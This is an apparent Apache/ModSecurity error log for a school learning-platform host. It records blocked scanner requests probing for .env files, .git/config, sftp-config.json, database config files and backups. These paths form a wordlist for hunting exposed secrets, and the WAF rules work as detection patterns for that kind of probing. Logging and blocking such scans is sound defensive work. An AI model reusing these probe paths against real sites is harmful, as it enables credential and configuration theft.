[Sat Jan 24 10:49:11.892607 2026] [:error] [pid 40902:tid 40920] [client 45.8.17.125:41601] [client 45.8.17.125] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/db.conf"] [unique_id "aXQzJwSCceZpurDgOetehwAAAAg"]
[Sat Jan 24 10:49:12.595712 2026] [:error] [pid 60761:tid 60787] [client 45.8.17.48:32277] [client 45.8.17.48] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/db.ini"] [unique_id "aXQzKFZQvxLvEbXXh9LxKQAAAVc"]
[Sat Jan 24 10:49:14.243439 2026] [:error] [pid 60761:tid 60775] [client 45.8.17.128:50453] [client 45.8.17.128] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sftp-config.json"] [unique_id "aXQzKlZQvxLvEbXXh9LxLQAAAUs"]
[Sat Jan 24 23:24:28.045410 2026] [:error] [pid 41009:tid 41016] [client 212.147.231.62:51662] [client 212.147.231.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aXTkLGrewfoFUDD3TM3jXAAAAMU"]
[Sun Jan 25 13:01:17.434786 2026] [:error] [pid 9122:tid 9124] [client 45.128.199.112:62249] [client 45.128.199.112] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.php.bak"] [unique_id "aXWjnWgJ3AtoqtQp2gSjnwAAAYA"]
[Sun Jan 25 13:01:18.795624 2026] [:error] [pid 53419:tid 53435] [client 45.8.17.31:31617] [client 45.8.17.31] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/db.php.bak"] [unique_id "aXWjniNxBUypy_ALgwOzSgAAAAc"]
[Sun Jan 25 13:01:21.110772 2026] [:error] [pid 53420:tid 53473] [client 45.128.199.112:52007] [client 45.128.199.112] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".inc"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.inc"] [unique_id "aXWjoY5y-t2ZKNqnnbXhOAAAAFE"]
[Sun Jan 25 13:01:24.304510 2026] [:error] [pid 33687:tid 33707] [client 45.8.17.27:28351] [client 45.8.17.27] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf/config.ini"] [unique_id "aXWjpIc6VUyZP5DZSy5AZAAAARE"]
[Sun Jan 25 13:01:29.015955 2026] [:error] [pid 9070:tid 9072] [client 45.8.17.219:63411] [client 45.8.17.219] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config.ini"] [unique_id "aXWjqbLNl7Vxe1mYetH0VAAAAUA"]
[Sun Jan 25 13:01:30.633090 2026] [:error] [pid 33687:tid 33697] [client 45.128.199.123:60575] [client 45.128.199.123] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/config/config.ini"] [unique_id "aXWjqoc6VUyZP5DZSy5AbAAAAQc"]
[Sun Jan 25 13:01:31.987014 2026] [:error] [pid 53421:tid 53483] [client 45.128.199.117:55949] [client 45.128.199.117] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configuration.ini"] [unique_id "aXWjq5KP_6Rogdk6hdEu4wAAAIA"]
[Sun Jan 25 13:01:33.330733 2026] [:error] [pid 9070:tid 9081] [client 45.128.199.127:37425] [client 45.128.199.127] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/configs/application.ini"] [unique_id "aXWjrbLNl7Vxe1mYetH0WgAAAUk"]
[Sun Jan 25 13:01:35.912991 2026] [:error] [pid 53421:tid 53500] [client 45.128.199.107:26233] [client 45.128.199.107] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/settings.ini"] [unique_id "aXWjr5KP_6Rogdk6hdEu6gAAAJE"]
[Sun Jan 25 13:01:37.770220 2026] [:error] [pid 53521:tid 53541] [client 45.128.199.107:38409] [client 45.128.199.107] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/application.ini"] [unique_id "aXWjsUAzLL1HphkAdX7xowAAAMg"]
[Sun Jan 25 13:01:41.411088 2026] [:error] [pid 53521:tid 53536] [client 45.8.17.27:58653] [client 45.8.17.27] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/conf.ini"] [unique_id "aXWjtUAzLL1HphkAdX7xpwAAAMM"]
[Sun Jan 25 13:01:43.077808 2026] [:error] [pid 33687:tid 33691] [client 45.128.199.120:21481] [client 45.128.199.120] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/app.ini"] [unique_id "aXWjt4c6VUyZP5DZSy5AfwAAAQE"]
[Sun Jan 25 13:01:48.344257 2026] [:error] [pid 33687:tid 33707] [client 45.8.17.30:36301] [client 45.8.17.30] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/db.conf"] [unique_id "aXWjvIc6VUyZP5DZSy5AhAAAARE"]
[Sun Jan 25 13:01:51.740590 2026] [:error] [pid 9070:tid 9072] [client 45.8.17.28:64261] [client 45.8.17.28] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||seqta-learn.carmel.wa.edu.au|F|2"] [data ".ini"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/db.ini"] [unique_id "aXWjv7LNl7Vxe1mYetH0fQAAAUA"]
[Sun Jan 25 13:01:56.065728 2026] [:error] [pid 53420:tid 53472] [client 45.128.199.134:39041] [client 45.128.199.134] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/sftp-config.json"] [unique_id "aXWjxI5y-t2ZKNqnnbXhUAAAAFA"]
[Tue Jan 27 00:20:11.910716 2026] [authz_core:error] [pid 1352:tid 1366] [client 165.227.84.14:47840] AH01630: client denied by server configuration: /home/memocar/seqta-learn.carmel.wa.edu.au/server-status
[Tue Jan 27 00:20:18.569086 2026] [:error] [pid 61252:tid 61273] [client 165.227.84.14:47888] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aXeUQrrGlf8FG2etxUDBzgAAARM"]
[Tue Jan 27 00:20:19.359187 2026] [authz_core:error] [pid 24556:tid 24570] [client 167.99.182.39:38942] AH01630: client denied by server configuration: /home/memocar/seqta-learn.carmel.wa.edu.au/server-status
[Tue Jan 27 00:20:21.744823 2026] [:error] [pid 24666:tid 24669] [client 165.227.84.14:55242] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aXeURZmH-L0_jbK3i9H3SwAAAME"]
[Tue Jan 27 00:20:27.672815 2026] [:error] [pid 61252:tid 61254] [client 167.99.182.39:44926] [client 167.99.182.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aXeUS7rGlf8FG2etxUDB4wAAAQA"]
[Tue Jan 27 00:20:31.951021 2026] [:error] [pid 24557:tid 24599] [client 167.99.182.39:44938] [client 167.99.182.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aXeUT-rlG7Vm9pxV14xdjwAAAEU"]
[Tue Jan 27 01:33:38.191672 2026] [:error] [pid 18632:tid 18647] [client 103.216.116.241:57778] [client 103.216.116.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aXelcqU_e_bi-Bnkkm4HJwAAAEw"]
[Tue Jan 27 05:05:27.681284 2026] [:error] [pid 7452:tid 7484] [client 95.111.225.234:52304] [client 95.111.225.234] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aXfXF2lXocEpHDB6FUZhlQAAABc"]
[Tue Jan 27 12:54:27.707606 2026] [:error] [pid 48528:tid 48536] [client 93.123.109.175:57164] [client 93.123.109.175] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.git/config"] [unique_id "aXhFAwOGRrquT9N7CZpBVQAAAgY"]
[Tue Jan 27 21:49:15.824615 2026] [:error] [pid 38987:tid 39009] [client 13.204.80.208:37208] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env"] [unique_id "aXjCW6TH0bU76Ifu_Xc1iwAAABM"], referer: https://www.google.com/
[Tue Jan 27 21:49:16.297164 2026] [:error] [pid 38987:tid 39005] [client 13.204.80.208:37220] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.local"] [unique_id "aXjCXKTH0bU76Ifu_Xc1jAAAAA8"], referer: https://www.google.com/
[Tue Jan 27 21:49:16.769504 2026] [:error] [pid 48412:tid 48429] [client 13.204.80.208:37228] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.production"] [unique_id "aXjCXHbJMfAKlln88JER1AAAAU8"], referer: https://www.google.com/
[Tue Jan 27 21:49:17.239966 2026] [:error] [pid 48412:tid 48414] [client 13.204.80.208:50696] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.development"] [unique_id "aXjCXXbJMfAKlln88JER1gAAAUA"], referer: https://www.google.com/
[Tue Jan 27 21:49:17.710293 2026] [:error] [pid 48662:tid 48675] [client 13.204.80.208:50710] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.staging"] [unique_id "aXjCXeD8iESUP9uRiRP5cQAAAoc"], referer: https://www.google.com/
[Tue Jan 27 21:49:18.184437 2026] [:error] [pid 48412:tid 48418] [client 13.204.80.208:50720] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod"] [unique_id "aXjCXnbJMfAKlln88JER2gAAAUQ"], referer: https://www.google.com/
[Tue Jan 27 21:49:18.659022 2026] [:error] [pid 48446:tid 48502] [client 13.204.80.208:50730] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev"] [unique_id "aXjCXsDRSaZ8F8aaLxmoVQAAAdg"], referer: https://www.google.com/
[Tue Jan 27 21:49:19.136861 2026] [:error] [pid 39016:tid 39027] [client 13.204.80.208:50736] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.test"] [unique_id "aXjCX_B6_y9crthwy8qz_gAAAsY"], referer: https://www.google.com/
[Tue Jan 27 21:49:19.614729 2026] [:error] [pid 39016:tid 39025] [client 13.204.80.208:50752] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.backup"] [unique_id "aXjCX_B6_y9crthwy8qz_wAAAsQ"], referer: https://www.google.com/
[Tue Jan 27 21:49:20.087038 2026] [:error] [pid 48412:tid 48427] [client 13.204.80.208:50762] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.old"] [unique_id "aXjCYHbJMfAKlln88JER3QAAAU0"], referer: https://www.google.com/
[Tue Jan 27 21:49:20.560769 2026] [:error] [pid 38987:tid 38991] [client 13.204.80.208:50764] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.bak"] [unique_id "aXjCYKTH0bU76Ifu_Xc1jgAAAAE"], referer: https://www.google.com/
[Tue Jan 27 21:49:21.032341 2026] [:error] [pid 48446:tid 48487] [client 13.204.80.208:50770] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.save"] [unique_id "aXjCYcDRSaZ8F8aaLxmoVwAAAco"], referer: https://www.google.com/
[Tue Jan 27 21:49:21.504805 2026] [:error] [pid 39017:tid 39057] [client 13.204.80.208:50778] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.sample"] [unique_id "aXjCYc553xt-F_10bG6uKgAAAwk"], referer: https://www.google.com/
[Tue Jan 27 21:49:21.975873 2026] [:error] [pid 39016:tid 39032] [client 13.204.80.208:50786] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.example"] [unique_id "aXjCYfB6_y9crthwy8q0AAAAAss"], referer: https://www.google.com/
[Tue Jan 27 21:49:24.203774 2026] [:error] [pid 7453:tid 7510] [client 13.204.80.208:50794] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dist"] [unique_id "aXjCZBfsyA2ws_ADquisuwAAAFU"], referer: https://www.google.com/
[Tue Jan 27 21:49:24.678048 2026] [:error] [pid 38987:tid 38997] [client 13.204.80.208:50808] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.prod.local"] [unique_id "aXjCZKTH0bU76Ifu_Xc1kAAAAAc"], referer: https://www.google.com/
[Tue Jan 27 21:49:25.150408 2026] [:error] [pid 39017:tid 39049] [client 13.204.80.208:50816] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.dev.local"] [unique_id "aXjCZc553xt-F_10bG6uKwAAAwE"], referer: https://www.google.com/
[Tue Jan 27 21:49:25.624168 2026] [:error] [pid 7453:tid 7509] [client 13.204.80.208:50832] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.remote"] [unique_id "aXjCZRfsyA2ws_ADquisvQAAAFQ"], referer: https://www.google.com/
[Tue Jan 27 21:49:26.101389 2026] [:error] [pid 7453:tid 7492] [client 13.204.80.208:50842] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.1"] [unique_id "aXjCZhfsyA2ws_ADquisvwAAAEM"], referer: https://www.google.com/
[Tue Jan 27 21:49:26.578482 2026] [:error] [pid 7454:tid 7529] [client 13.204.80.208:50850] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.2"] [unique_id "aXjCZpltCoZEfMmfl8AlJwAAAI0"], referer: https://www.google.com/
[Tue Jan 27 21:49:27.050498 2026] [:error] [pid 38987:tid 38990] [client 13.204.80.208:50856] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/.env.3"] [unique_id "aXjCZ6TH0bU76Ifu_Xc1kgAAAAA"], referer: https://www.google.com/
[Tue Jan 27 21:49:28.222268 2026] [:error] [pid 48446:tid 48501] [client 13.204.80.208:39254] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/.env"] [unique_id "aXjCaMDRSaZ8F8aaLxmoYAAAAdc"], referer: https://www.google.com/
[Tue Jan 27 21:49:28.689868 2026] [:error] [pid 38987:tid 39010] [client 13.204.80.208:39256] [client 13.204.80.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "seqta-learn.carmel.wa.edu.au"] [uri "/api/v1/.env"] [unique_id "aXjCaKTH0bU76Ifu_Xc1kwAAABQ"], referer: https://www.google.com/
